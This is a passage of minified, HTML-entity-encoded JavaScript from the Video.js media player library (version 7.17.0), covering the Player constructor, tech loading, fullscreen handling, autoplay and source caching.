Html5.nativeSourceHandler.canPlayType(&quot;video/&quot;+ext)}return&quot;&quot;},Html5.nativeSourceHandler.handleSource=function(source,tech,options){tech.setSrc(source.src)},Html5.nativeSourceHandler.dispose=function(){},Html5.registerSourceHandler(Html5.nativeSourceHandler),Tech.registerTech(&quot;Html5&quot;,Html5);var TECH_EVENTS_RETRIGGER=[&quot;progress&quot;,&quot;abort&quot;,&quot;suspend&quot;,&quot;emptied&quot;,&quot;stalled&quot;,&quot;loadedmetadata&quot;,&quot;loadeddata&quot;,&quot;timeupdate&quot;,&quot;resize&quot;,&quot;volumechange&quot;,&quot;texttrackchange&quot;],TECH_EVENTS_QUEUE={canplay:&quot;CanPlay&quot;,canplaythrough:&quot;CanPlayThrough&quot;,playing:&quot;Playing&quot;,seeked:&quot;Seeked&quot;},BREAKPOINT_ORDER=[&quot;tiny&quot;,&quot;xsmall&quot;,&quot;small&quot;,&quot;medium&quot;,&quot;large&quot;,&quot;xlarge&quot;,&quot;huge&quot;],BREAKPOINT_CLASSES={};BREAKPOINT_ORDER.forEach((function(k){var v=&quot;x&quot;===k.charAt(0)?&quot;x-&quot;+k.substring(1):k;BREAKPOINT_CLASSES[k]=&quot;vjs-layout-&quot;+v}));var DEFAULT_BREAKPOINTS={tiny:210,xsmall:320,small:425,medium:768,large:1440,xlarge:2560,huge:1/0},Player=function(_Component){function Player(tag,options,ready){var _this;if(tag.id=tag.id||options.id||&quot;vjs_video_&quot;+newGUID(),(options=assign(Player.getTagSettings(tag),options)).initChildren=!1,options.createEl=!1,options.evented=!1,options.reportTouchActivity=!1,!options.language)if(&quot;function&quot;==typeof tag.closest){var closest=tag.closest(&quot;[lang]&quot;);closest&amp;&amp;closest.getAttribute&amp;&amp;(options.language=closest.getAttribute(&quot;lang&quot;))}else for(var element=tag;element&amp;&amp;1===element.nodeType;){if(getAttributes(element).hasOwnProperty(&quot;lang&quot;)){options.language=element.getAttribute(&quot;lang&quot;);break}element=element.parentNode}if((_this=_Component.call(this,null,options,ready)||this).boundDocumentFullscreenChange_=function(e){return _this.documentFullscreenChange_(e)},_this.boundFullWindowOnEscKey_=function(e){return _this.fullWindowOnEscKey(e)},_this.boundUpdateStyleEl_=function(e){return _this.updateStyleEl_(e)},_this.boundApplyInitTime_=function(e){return _this.applyInitTime_(e)},_this.boundUpdateCurrentBreakpoint_=function(e){return _this.updateCurrentBreakpoint_(e)},_this.boundHandleTechClick_=function(e){return _this.handleTechClick_(e)},_this.boundHandleTechDoubleClick_=function(e){return _this.handleTechDoubleClick_(e)},_this.boundHandleTechTouchStart_=function(e){return _this.handleTechTouchStart_(e)},_this.boundHandleTechTouchMove_=function(e){return _this.handleTechTouchMove_(e)},_this.boundHandleTechTouchEnd_=function(e){return _this.handleTechTouchEnd_(e)},_this.boundHandleTechTap_=function(e){return _this.handleTechTap_(e)},_this.isFullscreen_=!1,_this.log=createLogger(_this.id_),_this.fsApi_=FullscreenApi,_this.isPosterFromTech_=!1,_this.queuedCallbacks_=[],_this.isReady_=!1,_this.hasStarted_=!1,_this.userActive_=!1,_this.debugEnabled_=!1,!_this.options_||!_this.options_.techOrder||!_this.options_.techOrder.length)throw new Error(&quot;No techOrder specified. Did you overwrite videojs.options instead of just changing the properties you want to override?&quot;);if(_this.tag=tag,_this.tagAttributes=tag&amp;&amp;getAttributes(tag),_this.language(_this.options_.language),options.languages){var languagesToLower={};Object.getOwnPropertyNames(options.languages).forEach((function(name){languagesToLower[name.toLowerCase()]=options.languages[name]})),_this.languages_=languagesToLower}else _this.languages_=Player.prototype.options_.languages;_this.resetCache_(),_this.poster_=options.poster||&quot;&quot;,_this.controls_=!!options.controls,tag.controls=!1,tag.removeAttribute(&quot;controls&quot;),_this.changingSrc_=!1,_this.playCallbacks_=[],_this.playTerminatedQueue_=[],tag.hasAttribute(&quot;autoplay&quot;)?_this.autoplay(!0):_this.autoplay(_this.options_.autoplay),options.plugins&amp;&amp;Object.keys(options.plugins).forEach((function(name){if(&quot;function&quot;!=typeof _this[name])throw new Error(&#039;plugin &quot;&#039;+name+&#039;&quot; does not exist&#039;)})),_this.scrubbing_=!1,_this.el_=_this.createEl(),evented(assertThisInitialized(_this),{eventBusKey:&quot;el_&quot;}),_this.fsApi_.requestFullscreen&amp;&amp;(on(document,_this.fsApi_.fullscreenchange,_this.boundDocumentFullscreenChange_),_this.on(_this.fsApi_.fullscreenchange,_this.boundDocumentFullscreenChange_)),_this.fluid_&amp;&amp;_this.on([&quot;playerreset&quot;,&quot;resize&quot;],_this.boundUpdateStyleEl_);var playerOptionsCopy=mergeOptions$3(_this.options_);options.plugins&amp;&amp;Object.keys(options.plugins).forEach((function(name){_this[name](options.plugins[name])})),options.debug&amp;&amp;_this.debug(!0),_this.options_.playerOptions=playerOptionsCopy,_this.middleware_=[],_this.playbackRates(options.playbackRates),_this.initChildren(),_this.isAudio(&quot;audio&quot;===tag.nodeName.toLowerCase()),_this.controls()?_this.addClass(&quot;vjs-controls-enabled&quot;):_this.addClass(&quot;vjs-controls-disabled&quot;),_this.el_.setAttribute(&quot;role&quot;,&quot;region&quot;),_this.isAudio()?_this.el_.setAttribute(&quot;aria-label&quot;,_this.localize(&quot;Audio Player&quot;)):_this.el_.setAttribute(&quot;aria-label&quot;,_this.localize(&quot;Video Player&quot;)),_this.isAudio()&amp;&amp;_this.addClass(&quot;vjs-audio&quot;),_this.flexNotSupported_()&amp;&amp;_this.addClass(&quot;vjs-no-flex&quot;),TOUCH_ENABLED&amp;&amp;_this.addClass(&quot;vjs-touch-enabled&quot;),IS_IOS||_this.addClass(&quot;vjs-workinghover&quot;),Player.players[_this.id_]=assertThisInitialized(_this);var majorVersion=&quot;7.17.0&quot;.split(&quot;.&quot;)[0];return _this.addClass(&quot;vjs-v&quot;+majorVersion),_this.userActive(!0),_this.reportUserActivity(),_this.one(&quot;play&quot;,(function(e){return _this.listenForUserActivity_(e)})),_this.on(&quot;stageclick&quot;,(function(e){return _this.handleStageClick_(e)})),_this.on(&quot;keydown&quot;,(function(e){return _this.handleKeyDown(e)})),_this.on(&quot;languagechange&quot;,(function(e){return _this.handleLanguagechange(e)})),_this.breakpoints(_this.options_.breakpoints),_this.responsive(_this.options_.responsive),_this}inheritsLoose(Player,_Component);var _proto=Player.prototype;return _proto.dispose=function(){var _this2=this;this.trigger(&quot;dispose&quot;),this.off(&quot;dispose&quot;),off(document,this.fsApi_.fullscreenchange,this.boundDocumentFullscreenChange_),off(document,&quot;keydown&quot;,this.boundFullWindowOnEscKey_),this.styleEl_&amp;&amp;this.styleEl_.parentNode&amp;&amp;(this.styleEl_.parentNode.removeChild(this.styleEl_),this.styleEl_=null),Player.players[this.id_]=null,this.tag&amp;&amp;this.tag.player&amp;&amp;(this.tag.player=null),this.el_&amp;&amp;this.el_.player&amp;&amp;(this.el_.player=null),this.tech_&amp;&amp;(this.tech_.dispose(),this.isPosterFromTech_=!1,this.poster_=&quot;&quot;),this.playerElIngest_&amp;&amp;(this.playerElIngest_=null),this.tag&amp;&amp;(this.tag=null),middlewareInstances[this.id()]=null,ALL.names.forEach((function(name){var props=ALL[name],list=_this2[props.getterName]();list&amp;&amp;list.off&amp;&amp;list.off()})),_Component.prototype.dispose.call(this)},_proto.createEl=function(){var el,tag=this.tag,playerElIngest=this.playerElIngest_=tag.parentNode&amp;&amp;tag.parentNode.hasAttribute&amp;&amp;tag.parentNode.hasAttribute(&quot;data-vjs-player&quot;),divEmbed=&quot;video-js&quot;===this.tag.tagName.toLowerCase();playerElIngest?el=this.el_=tag.parentNode:divEmbed||(el=this.el_=_Component.prototype.createEl.call(this,&quot;div&quot;));var attrs=getAttributes(tag);if(divEmbed){for(el=this.el_=tag,tag=this.tag=document.createElement(&quot;video&quot;);el.children.length;)tag.appendChild(el.firstChild);hasClass(el,&quot;video-js&quot;)||addClass(el,&quot;video-js&quot;),el.appendChild(tag),playerElIngest=this.playerElIngest_=el,Object.keys(el).forEach((function(k){try{tag[k]=el[k]}catch(e){}}))}if(tag.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;),attrs.tabindex=&quot;-1&quot;,(IE_VERSION||IS_CHROME&amp;&amp;IS_WINDOWS)&amp;&amp;(tag.setAttribute(&quot;role&quot;,&quot;application&quot;),attrs.role=&quot;application&quot;),tag.removeAttribute(&quot;width&quot;),tag.removeAttribute(&quot;height&quot;),&quot;width&quot;in attrs&amp;&amp;delete attrs.width,&quot;height&quot;in attrs&amp;&amp;delete attrs.height,Object.getOwnPropertyNames(attrs).forEach((function(attr){divEmbed&amp;&amp;&quot;class&quot;===attr||el.setAttribute(attr,attrs[attr]),divEmbed&amp;&amp;tag.setAttribute(attr,attrs[attr])})),tag.playerId=tag.id,tag.id+=&quot;_html5_api&quot;,tag.className=&quot;vjs-tech&quot;,tag.player=el.player=this,this.addClass(&quot;vjs-paused&quot;),!0!==window.VIDEOJS_NO_DYNAMIC_STYLE){this.styleEl_=createStyleElement(&quot;vjs-styles-dimensions&quot;);var defaultsStyleEl=$(&quot;.vjs-styles-defaults&quot;),head=$(&quot;head&quot;);head.insertBefore(this.styleEl_,defaultsStyleEl?defaultsStyleEl.nextSibling:head.firstChild)}this.fill_=!1,this.fluid_=!1,this.width(this.options_.width),this.height(this.options_.height),this.fill(this.options_.fill),this.fluid(this.options_.fluid),this.aspectRatio(this.options_.aspectRatio),this.crossOrigin(this.options_.crossOrigin||this.options_.crossorigin);for(var links=tag.getElementsByTagName(&quot;a&quot;),i=0;i&lt;links.length;i++){var linkEl=links.item(i);addClass(linkEl,&quot;vjs-hidden&quot;),linkEl.setAttribute(&quot;hidden&quot;,&quot;hidden&quot;)}return tag.initNetworkState_=tag.networkState,tag.parentNode&amp;&amp;!playerElIngest&amp;&amp;tag.parentNode.insertBefore(el,tag),prependTo(tag,el),this.children_.unshift(tag),this.el_.setAttribute(&quot;lang&quot;,this.language_),this.el_.setAttribute(&quot;translate&quot;,&quot;no&quot;),this.el_=el,el},_proto.crossOrigin=function(value){if(!value)return this.techGet_(&quot;crossOrigin&quot;);&quot;anonymous&quot;===value||&quot;use-credentials&quot;===value?this.techCall_(&quot;setCrossOrigin&quot;,value):log$1.warn(&#039;crossOrigin must be &quot;anonymous&quot; or &quot;use-credentials&quot;, given &quot;&#039;+value+&#039;&quot;&#039;)},_proto.width=function(value){return this.dimension(&quot;width&quot;,value)},_proto.height=function(value){return this.dimension(&quot;height&quot;,value)},_proto.dimension=function(_dimension,value){var privDimension=_dimension+&quot;_&quot;;if(void 0===value)return this[privDimension]||0;if(&quot;&quot;===value||&quot;auto&quot;===value)return this[privDimension]=void 0,void this.updateStyleEl_();var parsedVal=parseFloat(value);isNaN(parsedVal)?log$1.error(&#039;Improper value &quot;&#039;+value+&#039;&quot; supplied for for &#039;+_dimension):(this[privDimension]=parsedVal,this.updateStyleEl_())},_proto.fluid=function(bool){var target,callback,_this3=this;if(void 0===bool)return!!this.fluid_;this.fluid_=!!bool,isEvented(this)&amp;&amp;this.off([&quot;playerreset&quot;,&quot;resize&quot;],this.boundUpdateStyleEl_),bool?(this.addClass(&quot;vjs-fluid&quot;),this.fill(!1),callback=function(){_this3.on([&quot;playerreset&quot;,&quot;resize&quot;],_this3.boundUpdateStyleEl_)},isEvented(target=this)?callback():(target.eventedCallbacks||(target.eventedCallbacks=[]),target.eventedCallbacks.push(callback))):this.removeClass(&quot;vjs-fluid&quot;),this.updateStyleEl_()},_proto.fill=function(bool){if(void 0===bool)return!!this.fill_;this.fill_=!!bool,bool?(this.addClass(&quot;vjs-fill&quot;),this.fluid(!1)):this.removeClass(&quot;vjs-fill&quot;)},_proto.aspectRatio=function(ratio){if(void 0===ratio)return this.aspectRatio_;if(!/^\d+\:\d+$/.test(ratio))throw new Error(&quot;Improper value supplied for aspect ratio. The format should be width:height, for example 16:9.&quot;);this.aspectRatio_=ratio,this.fluid(!0),this.updateStyleEl_()},_proto.updateStyleEl_=function(){if(!0!==window.VIDEOJS_NO_DYNAMIC_STYLE){var width,height,idClass,ratioParts=(void 0!==this.aspectRatio_&amp;&amp;&quot;auto&quot;!==this.aspectRatio_?this.aspectRatio_:this.videoWidth()&gt;0?this.videoWidth()+&quot;:&quot;+this.videoHeight():&quot;16:9&quot;).split(&quot;:&quot;),ratioMultiplier=ratioParts[1]/ratioParts[0];width=void 0!==this.width_?this.width_:void 0!==this.height_?this.height_/ratioMultiplier:this.videoWidth()||300,height=void 0!==this.height_?this.height_:width*ratioMultiplier,idClass=/^[^a-zA-Z]/.test(this.id())?&quot;dimensions-&quot;+this.id():this.id()+&quot;-dimensions&quot;,this.addClass(idClass),setTextContent(this.styleEl_,&quot;\n      .&quot;+idClass+&quot; {\n        width: &quot;+width+&quot;px;\n        height: &quot;+height+&quot;px;\n      }\n\n      .&quot;+idClass+&quot;.vjs-fluid {\n        padding-top: &quot;+100*ratioMultiplier+&quot;%;\n      }\n    &quot;)}else{var _width=&quot;number&quot;==typeof this.width_?this.width_:this.options_.width,_height=&quot;number&quot;==typeof this.height_?this.height_:this.options_.height,techEl=this.tech_&amp;&amp;this.tech_.el();techEl&amp;&amp;(_width&gt;=0&amp;&amp;(techEl.width=_width),_height&gt;=0&amp;&amp;(techEl.height=_height))}},_proto.loadTech_=function(techName,source){var _this4=this;this.tech_&amp;&amp;this.unloadTech_();var titleTechName=toTitleCase$1(techName),camelTechName=techName.charAt(0).toLowerCase()+techName.slice(1);&quot;Html5&quot;!==titleTechName&amp;&amp;this.tag&amp;&amp;(Tech.getTech(&quot;Html5&quot;).disposeMediaElement(this.tag),this.tag.player=null,this.tag=null),this.techName_=titleTechName,this.isReady_=!1;var autoplay=this.autoplay();(&quot;string&quot;==typeof this.autoplay()||!0===this.autoplay()&amp;&amp;this.options_.normalizeAutoplay)&amp;&amp;(autoplay=!1);var techOptions={source:source,autoplay:autoplay,nativeControlsForTouch:this.options_.nativeControlsForTouch,playerId:this.id(),techId:this.id()+&quot;_&quot;+camelTechName+&quot;_api&quot;,playsinline:this.options_.playsinline,preload:this.options_.preload,loop:this.options_.loop,disablePictureInPicture:this.options_.disablePictureInPicture,muted:this.options_.muted,poster:this.poster(),language:this.language(),playerElIngest:this.playerElIngest_||!1,&quot;vtt.js&quot;:this.options_[&quot;vtt.js&quot;],canOverridePoster:!!this.options_.techCanOverridePoster,enableSourceset:this.options_.enableSourceset,Promise:this.options_.Promise};ALL.names.forEach((function(name){var props=ALL[name];techOptions[props.getterName]=_this4[props.privateName]})),assign(techOptions,this.options_[titleTechName]),assign(techOptions,this.options_[camelTechName]),assign(techOptions,this.options_[techName.toLowerCase()]),this.tag&amp;&amp;(techOptions.tag=this.tag),source&amp;&amp;source.src===this.cache_.src&amp;&amp;this.cache_.currentTime&gt;0&amp;&amp;(techOptions.startTime=this.cache_.currentTime);var TechClass=Tech.getTech(techName);if(!TechClass)throw new Error(&quot;No Tech named &#039;&quot;+titleTechName+&quot;&#039; exists! &#039;&quot;+titleTechName+&quot;&#039; should be registered using videojs.registerTech()&#039;&quot;);this.tech_=new TechClass(techOptions),this.tech_.ready(bind(this,this.handleTechReady_),!0),textTrackConverter_jsonToTextTracks(this.textTracksJson_||[],this.tech_),TECH_EVENTS_RETRIGGER.forEach((function(event){_this4.on(_this4.tech_,event,(function(e){return _this4[&quot;handleTech&quot;+toTitleCase$1(event)+&quot;_&quot;](e)}))})),Object.keys(TECH_EVENTS_QUEUE).forEach((function(event){_this4.on(_this4.tech_,event,(function(eventObj){0===_this4.tech_.playbackRate()&amp;&amp;_this4.tech_.seeking()?_this4.queuedCallbacks_.push({callback:_this4[&quot;handleTech&quot;+TECH_EVENTS_QUEUE[event]+&quot;_&quot;].bind(_this4),event:eventObj}):_this4[&quot;handleTech&quot;+TECH_EVENTS_QUEUE[event]+&quot;_&quot;](eventObj)}))})),this.on(this.tech_,&quot;loadstart&quot;,(function(e){return _this4.handleTechLoadStart_(e)})),this.on(this.tech_,&quot;sourceset&quot;,(function(e){return _this4.handleTechSourceset_(e)})),this.on(this.tech_,&quot;waiting&quot;,(function(e){return _this4.handleTechWaiting_(e)})),this.on(this.tech_,&quot;ended&quot;,(function(e){return _this4.handleTechEnded_(e)})),this.on(this.tech_,&quot;seeking&quot;,(function(e){return _this4.handleTechSeeking_(e)})),this.on(this.tech_,&quot;play&quot;,(function(e){return _this4.handleTechPlay_(e)})),this.on(this.tech_,&quot;firstplay&quot;,(function(e){return _this4.handleTechFirstPlay_(e)})),this.on(this.tech_,&quot;pause&quot;,(function(e){return _this4.handleTechPause_(e)})),this.on(this.tech_,&quot;durationchange&quot;,(function(e){return _this4.handleTechDurationChange_(e)})),this.on(this.tech_,&quot;fullscreenchange&quot;,(function(e,data){return _this4.handleTechFullscreenChange_(e,data)})),this.on(this.tech_,&quot;fullscreenerror&quot;,(function(e,err){return _this4.handleTechFullscreenError_(e,err)})),this.on(this.tech_,&quot;enterpictureinpicture&quot;,(function(e){return _this4.handleTechEnterPictureInPicture_(e)})),this.on(this.tech_,&quot;leavepictureinpicture&quot;,(function(e){return _this4.handleTechLeavePictureInPicture_(e)})),this.on(this.tech_,&quot;error&quot;,(function(e){return _this4.handleTechError_(e)})),this.on(this.tech_,&quot;posterchange&quot;,(function(e){return _this4.handleTechPosterChange_(e)})),this.on(this.tech_,&quot;textdata&quot;,(function(e){return _this4.handleTechTextData_(e)})),this.on(this.tech_,&quot;ratechange&quot;,(function(e){return _this4.handleTechRateChange_(e)})),this.on(this.tech_,&quot;loadedmetadata&quot;,this.boundUpdateStyleEl_),this.usingNativeControls(this.techGet_(&quot;controls&quot;)),this.controls()&amp;&amp;!this.usingNativeControls()&amp;&amp;this.addTechControlsListeners_(),this.tech_.el().parentNode===this.el()||&quot;Html5&quot;===titleTechName&amp;&amp;this.tag||prependTo(this.tech_.el(),this.el()),this.tag&amp;&amp;(this.tag.player=null,this.tag=null)},_proto.unloadTech_=function(){var _this5=this;ALL.names.forEach((function(name){var props=ALL[name];_this5[props.privateName]=_this5[props.getterName]()})),this.textTracksJson_=textTrackConverter_textTracksToJson(this.tech_),this.isReady_=!1,this.tech_.dispose(),this.tech_=!1,this.isPosterFromTech_&amp;&amp;(this.poster_=&quot;&quot;,this.trigger(&quot;posterchange&quot;)),this.isPosterFromTech_=!1},_proto.tech=function(safety){return void 0===safety&amp;&amp;log$1.warn(&quot;Using the tech directly can be dangerous. I hope you know what you&#039;re doing.\nSee https://github.com/videojs/video.js/issues/2617 for more info.\n&quot;),this.tech_},_proto.addTechControlsListeners_=function(){this.removeTechControlsListeners_(),this.on(this.tech_,&quot;click&quot;,this.boundHandleTechClick_),this.on(this.tech_,&quot;dblclick&quot;,this.boundHandleTechDoubleClick_),this.on(this.tech_,&quot;touchstart&quot;,this.boundHandleTechTouchStart_),this.on(this.tech_,&quot;touchmove&quot;,this.boundHandleTechTouchMove_),this.on(this.tech_,&quot;touchend&quot;,this.boundHandleTechTouchEnd_),this.on(this.tech_,&quot;tap&quot;,this.boundHandleTechTap_)},_proto.removeTechControlsListeners_=function(){this.off(this.tech_,&quot;tap&quot;,this.boundHandleTechTap_),this.off(this.tech_,&quot;touchstart&quot;,this.boundHandleTechTouchStart_),this.off(this.tech_,&quot;touchmove&quot;,this.boundHandleTechTouchMove_),this.off(this.tech_,&quot;touchend&quot;,this.boundHandleTechTouchEnd_),this.off(this.tech_,&quot;click&quot;,this.boundHandleTechClick_),this.off(this.tech_,&quot;dblclick&quot;,this.boundHandleTechDoubleClick_)},_proto.handleTechReady_=function(){this.triggerReady(),this.cache_.volume&amp;&amp;this.techCall_(&quot;setVolume&quot;,this.cache_.volume),this.handleTechPosterChange_(),this.handleTechDurationChange_()},_proto.handleTechLoadStart_=function(){this.removeClass(&quot;vjs-ended&quot;),this.removeClass(&quot;vjs-seeking&quot;),this.error(null),this.handleTechDurationChange_(),this.paused()?(this.hasStarted(!1),this.trigger(&quot;loadstart&quot;)):(this.trigger(&quot;loadstart&quot;),this.trigger(&quot;firstplay&quot;)),this.manualAutoplay_(!0===this.autoplay()&amp;&amp;this.options_.normalizeAutoplay?&quot;play&quot;:this.autoplay())},_proto.manualAutoplay_=function(type){var _this6=this;if(this.tech_&amp;&amp;&quot;string&quot;==typeof type){var promise,resolveMuted=function(){var previouslyMuted=_this6.muted();_this6.muted(!0);var restoreMuted=function(){_this6.muted(previouslyMuted)};_this6.playTerminatedQueue_.push(restoreMuted);var mutedPromise=_this6.play();if(isPromise(mutedPromise))return mutedPromise.catch((function(err){throw restoreMuted(),new Error(&quot;Rejection at manualAutoplay. Restoring muted value. &quot;+(err||&quot;&quot;))}))};if(&quot;any&quot;!==type||this.muted()?promise=&quot;muted&quot;!==type||this.muted()?this.play():resolveMuted():isPromise(promise=this.play())&amp;&amp;(promise=promise.catch(resolveMuted)),isPromise(promise))return promise.then((function(){_this6.trigger({type:&quot;autoplay-success&quot;,autoplay:type})})).catch((function(){_this6.trigger({type:&quot;autoplay-failure&quot;,autoplay:type})}))}},_proto.updateSourceCaches_=function(srcObj){void 0===srcObj&amp;&amp;(srcObj=&quot;&quot;);var src=srcObj,type=&quot;&quot;;&quot;string&quot;!=typeof src&amp;&amp;(src=srcObj.src,type=srcObj.type),this.cache_.source=this.cache_.source||{},this.cache_.sources=this.cache_.sources||[],src&amp;&amp;!type&amp;&amp;(type=function(player,src){if(!src)return&quot;&quot;;if(player.cache_.source.src===src&amp;&amp;player.cache_.source.type)return player.cache_.source.type;var matchingSources=player.cache_.sources.filter((function(s){return s.src===src}));if(matchingSources.length)return matchingSources[0].type;for(var sources=player.$$(&quot;source&quot;),i=0;i&lt;sources.length;i++){var s=sources[i];if(s.type&amp;&amp;s.src&amp;&amp;s.src===src)return s.type}return getMimetype(src)}(this,src)),this.cache_.source=mergeOptions$3({},srcObj,{src:src,type:type});for(var matchingSources=this.cache_.sources.filter((function(s){return s.src&amp;&amp;s.src===src})),sourceElSources=[],sourceEls=this.$$(&quot;source&quot;),matchingSourceEls=[],i=0;i&lt;sourceEls.length;i++){var sourceObj=getAttributes(sourceEls[i]);sourceElSources.push(sourceObj),sourceObj.src&amp;&amp;sourceObj.src===src&amp;&amp;matchingSourceEls.push(sourceObj.src)}matchingSourceEls.length&amp;&amp;!matchingSources.length?this.cache_.sources=sourceElSources:matchingSources.length||(this.cache_.sources=[this.cache_.source]),this.cache_.src=src},_proto.handleTechSourceset_=function(event){var _this7=this;if(!this.changingSrc_){var updateSourceCaches=function(src){return _this7.updateSourceCaches_(src)},playerSrc=this.currentSource().src,eventSrc=event.src;playerSrc&amp;&amp;!/^blob:/.test(playerSrc)&amp;&amp;/^blob:/.test(eventSrc)&amp;&amp;(!this.lastSource_||this.lastSource_.tech!==eventSrc&amp;&amp;this.lastSource_.player!==playerSrc)&amp;&amp;(updateSourceCaches=function(){}),updateSourceCaches(eventSrc),event.src||this.tech_.any([&quot;sourceset&quot;,&quot;loadstart&quot;],(function(e){if(&quot;sourceset&quot;!==e.type){var techSrc=_this7.techGet(&quot;currentSrc&quot;);_this7.lastSource_.tech=techSrc,_this7.updateSourceCaches_(techSrc)}}))}this.lastSource_={player:this.currentSource().src,tech:event.src},this.trigger({src:event.src,type:&quot;sourceset&quot;})},_proto.hasStarted=function(request){if(void 0===request)return this.hasStarted_;request!==this.hasStarted_&amp;&amp;(this.hasStarted_=request,this.hasStarted_?(this.addClass(&quot;vjs-has-started&quot;),this.trigger(&quot;firstplay&quot;)):this.removeClass(&quot;vjs-has-started&quot;))},_proto.handleTechPlay_=function(){this.removeClass(&quot;vjs-ended&quot;),this.removeClass(&quot;vjs-paused&quot;),this.addClass(&quot;vjs-playing&quot;),this.hasStarted(!0),this.trigger(&quot;play&quot;)},_proto.handleTechRateChange_=function(){this.tech_.playbackRate()&gt;0&amp;&amp;0===this.cache_.lastPlaybackRate&amp;&amp;(this.queuedCallbacks_.forEach((function(queued){return queued.callback(queued.event)})),this.queuedCallbacks_=[]),this.cache_.lastPlaybackRate=this.tech_.playbackRate(),this.trigger(&quot;ratechange&quot;)},_proto.handleTechWaiting_=function(){var _this8=this;this.addClass(&quot;vjs-waiting&quot;),this.trigger(&quot;waiting&quot;);var timeWhenWaiting=this.currentTime();this.on(&quot;timeupdate&quot;,(function timeUpdateListener(){timeWhenWaiting!==_this8.currentTime()&amp;&amp;(_this8.removeClass(&quot;vjs-waiting&quot;),_this8.off(&quot;timeupdate&quot;,timeUpdateListener))}))},_proto.handleTechCanPlay_=function(){this.removeClass(&quot;vjs-waiting&quot;),this.trigger(&quot;canplay&quot;)},_proto.handleTechCanPlayThrough_=function(){this.removeClass(&quot;vjs-waiting&quot;),this.trigger(&quot;canplaythrough&quot;)},_proto.handleTechPlaying_=function(){this.removeClass(&quot;vjs-waiting&quot;),this.trigger(&quot;playing&quot;)},_proto.handleTechSeeking_=function(){this.addClass(&quot;vjs-seeking&quot;),this.trigger(&quot;seeking&quot;)},_proto.handleTechSeeked_=function(){this.removeClass(&quot;vjs-seeking&quot;),this.removeClass(&quot;vjs-ended&quot;),this.trigger(&quot;seeked&quot;)},_proto.handleTechFirstPlay_=function(){this.options_.starttime&amp;&amp;(log$1.warn(&quot;Passing the `starttime` option to the player will be deprecated in 6.0&quot;),this.currentTime(this.options_.starttime)),this.addClass(&quot;vjs-has-started&quot;),this.trigger(&quot;firstplay&quot;)},_proto.handleTechPause_=function(){this.removeClass(&quot;vjs-playing&quot;),this.addClass(&quot;vjs-paused&quot;),this.trigger(&quot;pause&quot;)},_proto.handleTechEnded_=function(){this.addClass(&quot;vjs-ended&quot;),this.removeClass(&quot;vjs-waiting&quot;),this.options_.loop?(this.currentTime(0),this.play()):this.paused()||this.pause(),this.trigger(&quot;ended&quot;)},_proto.handleTechDurationChange_=function(){this.duration(this.techGet_(&quot;duration&quot;))},_proto.handleTechClick_=function(event){this.controls_&amp;&amp;(void 0!==this.options_&amp;&amp;void 0!==this.options_.userActions&amp;&amp;void 0!==this.options_.userActions.click&amp;&amp;!1===this.options_.userActions.click||(void 0!==this.options_&amp;&amp;void 0!==this.options_.userActions&amp;&amp;&quot;function&quot;==typeof this.options_.userActions.click?this.options_.userActions.click.call(this,event):this.paused()?silencePromise(this.play()):this.pause()))},_proto.handleTechDoubleClick_=function(event){this.controls_&amp;&amp;(Array.prototype.some.call(this.$$(&quot;.vjs-control-bar, .vjs-modal-dialog&quot;),(function(el){return el.contains(event.target)}))||void 0!==this.options_&amp;&amp;void 0!==this.options_.userActions&amp;&amp;void 0!==this.options_.userActions.doubleClick&amp;&amp;!1===this.options_.userActions.doubleClick||(void 0!==this.options_&amp;&amp;void 0!==this.options_.userActions&amp;&amp;&quot;function&quot;==typeof this.options_.userActions.doubleClick?this.options_.userActions.doubleClick.call(this,event):this.isFullscreen()?this.exitFullscreen():this.requestFullscreen()))},_proto.handleTechTap_=function(){this.userActive(!this.userActive())},_proto.handleTechTouchStart_=function(){this.userWasActive=this.userActive()},_proto.handleTechTouchMove_=function(){this.userWasActive&amp;&amp;this.reportUserActivity()},_proto.handleTechTouchEnd_=function(event){event.cancelable&amp;&amp;event.preventDefault()},_proto.handleStageClick_=function(){this.reportUserActivity()},_proto.toggleFullscreenClass_=function(){this.isFullscreen()?this.addClass(&quot;vjs-fullscreen&quot;):this.removeClass(&quot;vjs-fullscreen&quot;)},_proto.documentFullscreenChange_=function(e){var targetPlayer=e.target.player;if(!targetPlayer||targetPlayer===this){var el=this.el(),isFs=document[this.fsApi_.fullscreenElement]===el;!isFs&amp;&amp;el.matches?isFs=el.matches(&quot;:&quot;+this.fsApi_.fullscreen):!isFs&amp;&amp;el.msMatchesSelector&amp;&amp;(isFs=el.msMatchesSelector(&quot;:&quot;+this.fsApi_.fullscreen)),this.isFullscreen(isFs)}},_proto.handleTechFullscreenChange_=function(event,data){data&amp;&amp;(data.nativeIOSFullscreen&amp;&amp;this.toggleClass(&quot;vjs-ios-native-fs&quot;),this.isFullscreen(data.isFullscreen))},_proto.handleTechFullscreenError_=function(event,err){this.trigger(&quot;fullscreenerror&quot;,err)},_proto.togglePictureInPictureClass_=function(){this.isInPictureInPicture()?this.addClass(&quot;vjs-picture-in-picture&quot;):this.removeClass(&quot;vjs-picture-in-picture&quot;)},_proto.handleTechEnterPictureInPicture_=function(event){this.isInPictureInPicture(!0)},_proto.handleTechLeavePictureInPicture_=function(event){this.isInPictureInPicture(!1)},_proto.handleTechError_=function(){var error=this.tech_.error();this.error(error)},_proto.handleTechTextData_=function(){var data=null;arguments.length&gt;1&amp;&amp;(data=arguments[1]),this.trigger(&quot;textdata&quot;,data)},_proto.getCache=function(){return this.cache_},_proto.resetCache_=function(){this.cache_={currentTime:0,initTime:0,inactivityTimeout:this.options_.inactivityTimeout,duration:NaN,lastVolume:1,lastPlaybackRate:this.defaultPlaybackRate(),media:null,src:&quot;&quot;,source:{},sources:[],playbackRates:[],volume:1}},_proto.techCall_=function(method,arg){this.ready((function(){if(method in allowedSetters)return function(middleware,tech,method,arg){return tech[method](middleware.reduce(middlewareIterator(method),arg))}(this.middleware_,this.tech_,method,arg);if(method in allowedMediators)return mediate(this.middleware_,this.tech_,method,arg);try{this.tech_&amp;&amp;this.tech_[method](arg)}catch(e){throw log$1(e),e}}),!0)},_proto.techGet_=function(method){if(this.tech_&amp;&amp;this.tech_.isReady_){if(method in allowedGetters)return function(middleware,tech,method){return middleware.reduceRight(middlewareIterator(method),tech[method]())}(this.middleware_,this.tech_,method);if(method in allowedMediators)return mediate(this.middleware_,this.tech_,method);try{return this.tech_[method]()}catch(e){if(void 0===this.tech_[method])throw log$1(&quot;Video.js: &quot;+method+&quot; method not defined for &quot;+this.techName_+&quot; playback technology.&quot;,e),e;if(&quot;TypeError&quot;===e.name)throw log$1(&quot;Video.js: 